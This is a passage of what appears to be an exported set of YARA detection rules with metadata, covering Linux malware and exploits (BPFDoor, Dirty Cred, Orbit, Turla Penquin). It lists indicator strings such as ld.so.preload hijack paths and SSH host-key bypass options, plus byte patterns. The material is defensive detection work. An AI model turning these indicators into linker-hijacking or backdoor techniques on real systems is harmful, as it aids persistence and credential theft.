5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3\n        // 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925\n        // 8b84336e73c6a6d154e685d3729dfa4e08e4a3f136f0b2e7c6e5970df9145e95\n        // 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9\n        // 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc\n        // ac06771774538f33b0e95a92ae1a3e8aaf27e188b51700a03c14ca097af09cac\n        // bd353a28886815f43fe71c561a027fdeff5cd83e17e2055c0e52bea344ae51d3\n        // c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276\n        // c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c\n        // f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72\n        // f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27\n        // fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73\n        // fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a\n        // fe9f3b7451913f184e1f53b52a03a981dcea5564633cfcb70d01bd0aec8f30a7\n\n        $histfile = {\n            C6 85 ?? 7? FF FF 48          // mov     [rbp+var_8960], 48h ; 'H'\n            C6 85 ?? 7? FF FF 49          // mov     [rbp+var_8960+1], 49h ; 'I'\n            C6 85 ?? 7? FF FF 53          // mov     [rbp+var_8960+2], 53h ; 'S'\n            C6 85 ?? 7? FF FF 54          // mov     [rbp+var_8960+3], 54h ; 'T'\n            C6 85 ?? 7? FF FF 46          // mov     [rbp+var_8960+4], 46h ; 'F'\n            C6 85 ?? 7? FF FF 49          // mov     [rbp+var_8960+5], 49h ; 'I'\n            C6 85 ?? 7? FF FF 4C          // mov     [rbp+var_8960+6], 4Ch ; 'L'\n            C6 85 ?? 7? FF FF 45          // mov     [rbp+var_8960+7], 45h ; 'E'\n            C6 85 ?? 7? FF FF 3D          // mov     [rbp+var_8960+8], 3Dh ; '='\n            C6 85 ?? 7? FF FF 2F          // mov     [rbp+var_8960+9], 2Fh ; '/'\n            C6 85 ?? 7? FF FF 64          // mov     [rbp+var_8960+0Ah], 64h ; 'd'\n            C6 85 ?? 7? FF FF 65          // mov     [rbp+var_8960+0Bh], 65h ; 'e'\n            C6 85 ?? 7? FF FF 76          // mov     [rbp+var_8960+0Ch], 76h ; 'v'\n            C6 85 ?? 7? FF FF 2F          // mov     [rbp+var_8960+0Dh], 2Fh ; '/'\n            C6 85 ?? 7? FF FF 6E          // mov     [rbp+var_8960+0Eh], 6Eh ; 'n'\n            C6 85 ?? 7? FF FF 75          // mov     [rbp+var_8960+0Fh], 75h ; 'u'\n            C6 85 ?? 7? FF FF 6C          // mov     [rbp+var_8960+10h], 6Ch ; 'l'\n            C6 85 ?? 7? FF FF 6C          // mov     [rbp+var_8960+11h], 6Ch ; 'l'\n            C6 85 ?? 7? FF FF 00          // mov     [rbp+var_8960+12h], 0\n        }\n\n        $bpf_code = {\n            28 00 00 00 0C 00 00 00\n            15 00 00 1B 00 08 00 00\n            30 00 00 00 17 00 00 00\n            15 00 00 05 11 00 00 00\n            28 00 00 00 14 00 00 00\n            45 00 17 00 FF 1F 00 00\n            B1 00 00 00 0E 00 00 00\n            48 00 00 00 16 00 00 00\n            15 00 13 14 55 72 00 00\n            15 00 00 07 01 00 00 00\n            28 00 00 00 14 00 00 00\n            45 00 11 00 FF 1F 00 00\n            B1 00 00 00 0E 00 00 00\n            48 00 00 00 16 00 00 00\n            15 00 00 0E 55 72 00 00\n            50 00 00 00 0E 00 00 00\n            15 00 0B 0C 08 00 00 00\n            15 00 00 0B 06 00 00 00\n            28 00 00 00 14 00 00 00\n            45 00 09 00 FF 1F 00 00\n            B1 00 00 00 0E 00 00 00\n            50 00 00 00 1A 00 00 00\n            54 00 00 00 F0 00 00 00\n            74 00 00 00 02 00 00 00\n            0C 00 00 00 00 00 00 00\n            07 00 00 00 00 00 00 00\n            48 00 00 00 0E 00 00 00\n            15 00 00 01 93 52 00 00\n            06 00 00 00 FF FF 00 00\n            06 00 00 00 00 00 00 00\n        }\n\n    condition:\n        uint16(0) == 0x457f and filesize < 100KB and (\n        all of ($string_v1*) or all of ($string_v2*) or\n        all of ($string_v3*) or all of ($string_v4*) or\n        ($histfile and $bpf_code))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_bpfdoor"
+  ],
+  "rule_creation_date": "2022-05-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.BPFDoor"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_dirty_cred_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572690Z",
+  "creation_date": "2026-03-23T11:46:25.572693Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572698Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1068/\nhttps://github.com/Markakd/CVE-2022-2588"
+  ],
+  "name": "linux_dirty_cred.yar",
+  "content": "rule dirty_cred {\n    meta:\n        title = \"Dirty Cred PoC\"\n        id = \"f17906e4-71d9-4fe8-9209-3d1b3827b354\"\n        description = \"Detects strings related to a potential exploitation of the Dirty Cred vulnerability (CVE-2022-2588) in Linux systems.\\nThis vulnerability exists in the network packet scheduler and can be exploited by a local attacker to cause a denial of service or arbitrary code execution by manipulating route filter references.\\nIt is recommended to isolate the affected system and monitor for any signs of privilege escalation or malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1068/\\nhttps://github.com/Markakd/CVE-2022-2588\"\n        date = \"2022-10-07\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2022-2588\"\n        classification = \"Windows.Exploit.DirtyCred\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e0dae22e68fa74a0d61c7cca42cdc964f3e76fabcf01fcde66e6cb51a1f3cbca\n\n        $s1 = \"sched_setaffinity()\" fullword ascii\n        $s2 = \"/sys/fs/fuse/connections\" fullword ascii\n        $s3 = \"/proc/self/setgroups\" fullword ascii\n        $s4 = \"/proc/self/uid_map\" fullword ascii\n        $s5 = \"/proc/self/gid_map\" fullword ascii\n        $s6 = \"from <= 0xff && to <= 0xff\" fullword ascii\n        $s7 = \"spray_len * spray_count < 0x3000\" fullword ascii\n        $s8 = \"found overlap, id : %d, %d\" fullword ascii\n        $s9 = \"pipe(pipe_main) == 0\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and filesize < 60KB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dirty_cred"
+  ],
+  "rule_creation_date": "2022-10-07",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.DirtyCred"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_orbit_dropper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564449Z",
+  "creation_date": "2026-03-23T11:46:25.564451Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564456Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/"
+  ],
+  "name": "linux_orbit_dropper.yar",
+  "content": "rule linux_orbit_dropper {\n    meta:\n        title = \"Orbit Dropper\"\n        id = \"794c2337-3ce4-40b4-bcd0-8258e1a4ae9a\"\n        description = \"Detects the Orbit dropper implant.\\nOrbit is a Linux backdoor that hooks system calls to steal data and hide itself.\\nIt infects systems by hijacking the dynamic linker and hooking system calls.\"\n        references = \"https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\"\n        date = \"2022-07-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.credential_access;attack.t1056.004;attack.persistence;attack.t1574.006\"\n        classification = \"Linux.Backdoor.Orbit\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8\n\n        $s1 = \"-o UserKnownHostsFile=/dev/null\" fullword ascii\n        $s2 = \"-o StrictHostKeyChecking=no\" fullword ascii\n        $s3 = \"access(\\\"/etc/ld.so.preload\\\", R_OK)      = -1 ENOENT (No such file or directory)\" fullword ascii\n\n        $dropper_str_1 = \"/lib/libntpVnQE6mk/.boot.sh\" fullword ascii\n        $dropper_str_2 = \"chown -R 920366:920366 /lib/\" ascii\n        $dropper_str_3 = \"/bin/escalator\" ascii\n        $dropper_str_4 = \"/lib/libntpVnQE6mk/.logpam\" ascii\n        $dropper_str_5 = \"DYNAMIC LINKER BUG!!!\" fullword ascii\n        $dropper_str_6 = \"sshd_tmp_t:s0\" ascii\n        $dropper_str_7 = \".backup_ld.so\" ascii\n        $dropper_str_8 = \"/lib/lib0UZ0LfvWZ.so\" fullword ascii\n        $dropper_str_9 = \"ls -l /lib64/ld-linux-x86-64.so.2\" fullword ascii\n        $dropper_str_10 = \"<unsorted from=\\\"%zu\\\" to=\\\"%zu\\\" total=\\\"%zu\\\" count=\\\"%zu\\\"/>\" fullword ascii\n        $dropper_str_11 = \"/lib/libntpVnQE6mk/.l\" fullword ascii\n        $dropper_str_12 = \"/dev/shm/ldx/.l\" fullword ascii\n        $dropper_str_13 = \"/etc/ld.so.preload\" fullword ascii\n\n        // checking for specific ld.so versions\n        $dropper_op_1 = {\n            48 8B 45 ??           // mov     rax, [rbp+var_8]\n            48 83 C0 05           // add     rax, 5\n            0F B6 00              // movzx   eax, byte ptr [rax]\n            3C 34                 // cmp     al, 34h ; '4'\n            7F ??                 // jg      short loc_4006E5\n            48 8B 45 ??           // mov     rax, [rbp+var_8]\n            48 83 C0 06           // add     rax, 6\n            0F B6 00              // movzx   eax, byte ptr [rax]\n            3C 2E                 // cmp     al, 2Eh ; '.'\n            75 ??                 // jnz     short loc_4006E5\n            B8 ?? ?? ?? ??        // mov     eax, offset aLdErrorS ; \"ld error: %s\\n\"\n            48 8D 95 ?? ?? ?? ??  // lea     rdx, [rbp+haystack]\n            48 89 D6              // mov     rsi, rdx\n            48 89 C7              // mov     rdi, rax\n            B8 00 00 00 00        // mov     eax, 0\n            E8 ?? ?? ?? ??        // call    printf\n            8B 05 ?? ?? ?? ??     // mov     eax, cs:override_version\n            85 C0                 // test    eax, eax\n            74 ??                 // jz      short loc_4006DE\n            B8 01 00 00 00        // mov     eax, 1\n        }\n\n        // if forest searching for OS version\n        // must match 7 times\n        $dropper_op_2 = {\n            48 8D 85 ?? ?? ?? ??  // lea     rax, [rbp+haystack]\n            BE ?? ?? ?? ??        // mov     esi, offset aUbuntu ; \"Ubuntu\"\n            48 89 C7              // mov     rdi, rax        ; haystack\n            E8 ?? ?? ?? ??        // call    _strstr\n            48 85 C0              // test    rax, rax\n            74 ??                 // jz      short loc_4007A0\n            BF ?? ?? ?? ??        // mov     edi, offset aInstallingForU ; \"Installing for Ubuntu\"\n            E8 ?? ?? ?? ??        // call    puts\n        }\n\n    condition:\n        uint16(0) == 0x457f and filesize < 1500KB and 2 of ($s*) and 8 of ($dropper_str_*) and ($dropper_op_1 or #dropper_op_2 > 5)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_orbit_dropper"
+  ],
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.Orbit"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1574.006",
+    "attack.t1056.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_orbit_payload_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564510Z",
+  "creation_date": "2026-03-23T11:46:25.564512Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564518Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/"
+  ],
+  "name": "linux_orbit_payload.yar",
+  "content": "rule linux_orbit_payload {\n    meta:\n        title = \"Orbit Payload\"\n        id = \"cb638b1c-a9b1-44a4-a4d0-03495be902d9\"\n        description = \"Detects the Orbit payload implant.\\nOrbit is a Linux backdoor that hooks system calls to steal data and hide itself.\\nIt infects systems by hijacking the dynamic linker and hooking system calls.\"\n        references = \"https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/\"\n        date = \"2022-07-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.credential_access;attack.t1056.004;attack.persistence;attack.t1574.006\"\n        classification = \"Linux.Backdoor.Orbit\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020\n\n        $s1 = \"-o UserKnownHostsFile=/dev/null\" fullword ascii\n        $s2 = \"-o StrictHostKeyChecking=no\" fullword ascii\n        $s3 = \"access(\\\"/etc/ld.so.preload\\\", R_OK)      = -1 ENOENT (No such file or directory)\" fullword ascii\n\n        $payload_str_1 = \"/tmp/.orbit\" fullword ascii\n        $payload_str_2 = \"/usr/bin/ssh\" fullword ascii\n        $payload_str_3 = \"/usr/bin/scp\" fullword ascii\n        $payload_str_4 = \"A/tmp/\" fullword ascii\n        $payload_str_5 = \"920366\" fullword ascii\n        $payload_str_6 = \"/dev/shm/.lck\" fullword ascii\n\n        $xor_payload_str_1 = \"/lib/libntpVnQE6mk/.l2\" ascii xor\n        $xor_payload_str_2 = \"/lib/libntpVnQE6mk/.l\" ascii xor\n        $xor_payload_str_3 = \"/lib64/ld-linux-x86-64.so.2\" ascii xor\n        $xor_payload_str_4 = \"/lib64/%s\" ascii xor\n        $xor_payload_str_5 = \"mv /lib/libUDd5O.so %\" ascii xor\n\n        // searching for specific paths in hooked syscall functions\n        $payload_op_1 = {\n            3D 70 72 6F 63  // cmp     eax, 'corp'\n            75 ??           // jnz     short loc_950A\n            48 83 45 ?? 05  // add     [rbp+s1], 5\n            80 7D ?? 30     // cmp     [rbp+var_1], 30h ; '0'\n            7E 34           // jle     short loc_9544\n            80 7D ?? 39     // cmp     [rbp+var_1], 39h ; '9'\n            7F ??           // jg      short loc_9544\n            EB ??           // jmp     short loc_9532\n            48 83 45 ?? 01  // add     [rbp+s1], 1\n            48 8B 45 ??     // mov     rax, [rbp+s1]\n            0F B6 00        // movzx   eax, byte ptr [rax]\n            3C 30           // cmp     al, 30h ; '0'\n            75 ??           // jnz     short loc_9532\n            B8 00 00 00 00  // mov     eax, 0\n            E9 ?? ?? ?? ??  // jmp     locret_95CE\n            48 8B 45 ??     // mov     rax, [rbp+s1]\n            0F B6 00        // movzx   eax, byte ptr [rax]\n            3C 2F           // cmp     al, 2Fh ; '/'\n            75 ??           // jnz     short loc_9518\n            48 83 45 ?? 01  // add     [rbp+s1], 1\n            EB ??           // jmp     short loc_9556\n            48 8B 45 ??     // mov     rax, [rbp+s1]\n            8B 00           // mov     eax, [rax]\n            3D 73 65 6C 66  // cmp     eax, 'fles'\n            75 ??           // jnz     short loc_9556\n            48 83 45 ?? 05  // add     [rbp+s1], 5\n        }\n\n        // filters out hidden port from packet capture\n        $payload_op_2 = {\n            48 63 D0                 // movsxd  rdx, eax\n            48 8D 05 ?? ?? ?? ??     // lea     rax, byte_17535\n            0F B6 04 02              // movzx   eax, byte ptr [rdx+rax]\n            89 C2                    // mov     edx, eax\n            83 F2 A2                 // xor     edx, 0FFFFFFA2h\n            48 63 C1                 // movsxd  rax, ecx\n            88 94 05 ?? ?? ?? ??     // mov     [rbp+rax+var_240], dl\n            83 45 F? 01              // add     [rbp+var_4], 1\n            8B 45 F?                 // mov     eax, [rbp+var_4]\n            3B 45 F?                 // cmp     eax, [rbp+var_8]\n            7C ??                    // jl      short loc_16B6C\n            8B 45 F?                 // mov     eax, [rbp+var_8]\n            48 98                    // cdqe\n            C6 84 05 ?? ?? ?? ?? 00  // mov     [rbp+rax+var_240], 0\n            48 8D 85 ?? ?? ?? ??     // lea     rax, [rbp+var_240]\n            48 8D 95 ?? ?? ?? ??     // lea     rdx, [rbp+var_244]\n            48 8D 8D ?? ?? ?? ??     // lea     rcx, [rbp+var_200]\n            48 89 CE                 // mov     rsi, rcx\n            48 89 C7                 // mov     rdi, rax\n            E8 ?? ?? ?? ??           // call    load_hidden_ports\n        }\n\n    condition:\n        uint16(0) == 0x457f and filesize < 250KB and 2 of ($s*) and 4 of ($payload_str_*) and 2 of ($xor_payload_str_*) and 1 of ($payload_op_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_orbit_payload"
+  ],
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.Orbit"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1574.006",
+    "attack.t1056.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_turla_penquin_1805b27b70c6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572436Z",
+  "creation_date": "2026-03-23T11:46:25.572439Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572444Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0587/\nhttps://securelist.com/the-penquin-turla-2/67962/\nhttps://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
+  ],
+  "name": "linux_turla_penquin_1805b27b70c6.yar",
+  "content": "rule linux_turla_penquin_1805b27b70c6 {\n    meta:\n        title = \"Penquin Malware (1805b27b70c6)\"\n        id = \"399d4821-a779-4557-9aa6-1805b27b70c6\"\n        description = \"Detects Penquin, a Linux malware related to the Turla APT group.\\nPenquin is designed to gather system information and facilitate command and control communication on infected Linux systems. It employs various techniques to maintain persistence and exfiltrate data.\"\n        references = \"https://attack.mitre.org/software/S0587/\\nhttps://securelist.com/the-penquin-turla-2/67962/\\nhttps://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf\"\n        date = \"2023-01-11\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0587;attack.command_and_control;attack.t1573.002;attack.t1105;attack.t1205;attack.discovery;attack.t1083;attack.t1040;attack.execution;attack.t1059\"\n        classification = \"Linux.Malware.TurlaPenquin\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc\n        // 67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502\n        // d9f2467ff11efae921ec83e074e4f8d2eac7881d76bff60a872a801bd45ce3d5\n\n        $s1 = \"/root/.sess\" ascii fullword\n        $s2 = \"/root/.hsperfdata\" ascii fullword\n        $s3 = \"/tmp/.sync.pid\" ascii fullword\n        $s4 = \"ZYSZLRTS^Z@@NM@@G_Y_FE\" ascii fullword\n        $s5 = \"Desc|     Filename     |  size  |state|\" ascii fullword\n        $s6 = \"VS filesystem: %s\" ascii fullword\n        $s7 = \"File already exist on remote filesystem !\" ascii fullword\n        $s8 = \"File exist on local filesystem !\" ascii fullword\n        $s9 = \"Write 0 bytes, Check filename !\" ascii fullword\n        $s10 = \"rem_fd: ssl keypair error, try reconnect !\" ascii fullword\n\n    condition:\n        uint16(0) == 0x457f and filesize < 10MB and (\n            7 of ($s*) // 3/4 of all strings\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_turla_penquin_1805b27b70c6"
+  ],
+  "rule_creation_date": "2023-01-11",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.TurlaPenquin"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1040",
+    "attack.t1059",
+    "attack.t1573.002",
+    "attack.t1105",
+    "attack.t1205"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-linux_turla_penquin_669a2fe790f1_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564384Z",
+  "creation_date": "2026-03-23T11:46:25.564386Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564392Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0587/\nhttps://securelist.com/the-penquin-turla-2/67962/\nhttps://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"
+  ],
+  "name": "linux_turla_penquin_669a2fe790f1.yar",
+  "content": "rule linux_turla_penquin_669a2fe790f1 {\n    meta:\n        title = \"Penquin Malware (669a2fe790f1)\"\n        id = \"29ad3842-641c-404c-acbe-669a2fe790f1\"\n        description = \"Detects Penquin, a Linux malware related to the Turla APT group.\\nPenquin is designed to gather system information and facilitate command and control communication on infected Linux systems. It employs various techniques to maintain persistence and exfiltrate data.\"\n        references = \"https://attack.mitre.org/software/S0587/\\nhttps://securelist.com/the-penquin-turla-2/67962/\\nhttps://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf\"\n        date = \"2023-01-11\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0587;attack.command_and_control;attack.t1573.002;attack.t1105;attack.t1205;attack.discovery;attack.t1083;attack.t1040;attack.execution;attack.t1059\"\n        classification = \"Linux.Malware.TurlaPenquin\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4\n        // 1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905\n        // 5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8\n        // 8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667\n        // 2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08\n        // d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0\n\n        // Commands\n        $cc_lookup_versioned = \"do_lookup_versioned\" ascii fullword\n        $cc_system           = \"do_system\" ascii fullword\n        $cc_out              = \"do_out\" ascii fullword\n        $cc_unshift          = \"do_unshift\" ascii fullword\n        $cc_in               = \"do_in\" ascii fullword\n        $cc_encoding         = \"do_encoding\" ascii fullword\n        $cc_always_noconv    = \"do_always_noconv\" ascii fullword\n        $cc_length           = \"do_length\" ascii fullword\n        $cc_max_length       = \"do_max_length\" ascii fullword\n        $cc_lookup_alias     = \"do_lookup_alias\" ascii fullword\n        $cc_release_shlib    = \"do_release_shlib\" ascii fullword\n        $cc_release_all      = \"do_release_all\" ascii fullword\n        $cc_lookup           = \"do_lookup\" ascii fullword\n        $cc_dlopen           = \"do_dlopen\" ascii fullword\n        $cc_dlsym            = \"do_dlsym\" ascii fullword\n        $cc_dlclose          = \"do_dlclose\" ascii 